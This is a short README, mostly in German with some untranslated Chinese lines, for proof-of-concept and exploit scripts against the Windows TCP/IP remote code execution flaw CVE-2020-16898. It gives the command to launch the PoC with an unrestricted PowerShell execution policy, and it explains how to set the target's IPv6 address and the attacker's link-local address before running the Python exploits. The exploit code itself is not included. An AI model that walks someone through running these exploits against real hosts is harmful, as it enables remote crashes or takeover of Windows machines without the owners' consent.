CVE-2020-16898

CVE-2020-16898 Windows TCP/IP Remote-Codeausführung-Schwachstelle EXP&POC

Reproduktion

forforever：https://www.cnblogs.com/forforever/p/13846077.html

poc

CVE-2020-16898_Checker-poc

Befehl:

Als Administrator PowerShell/CMD starten

Powershell.exe -ExecutionPolicy UnRestricted -File .\CVE-2020-16898-poc.ps1

exp

cve-2020-16898-exp2

Voraussetzung: Kommunikation mit dem Ziel möglich, lokale Link-local-IPv6-Adresse des Ziels bekannt

Verwendung

修改代码中的dst参数为目标的本地链接IPv6地址
然后攻击机执行
python3 CVE-2020-16898.py即可

CVE-2020-16898-exp1.py

Benötigt die IPv6-Adresse des Ziels oder die temporäre IPv6-Adresse und die eigene lokale Link-local-IPv6-Adresse

v6_dst = "fd15:4ba5:5a2b:1008:109f:9a46:8d19:f103"	#修改为目标机的ipv6地址 或者 临时ipv6地址
v6_src = "fe80::501a:49b7:b7d:5362%12"				      #攻击者的本地ipv6地址

Beim Testen wurde jedoch festgestellt, dass auch die lokale Link-local-IPv6-Adresse des Ziels funktioniert. Es ist unklar, ob dies an lokalen Tests liegt oder ob die Quell-IPv6-Adresse gefälscht werden kann.

Nach der Änderung direkt ausführen

python3 CVE-2020-16898-exp1.py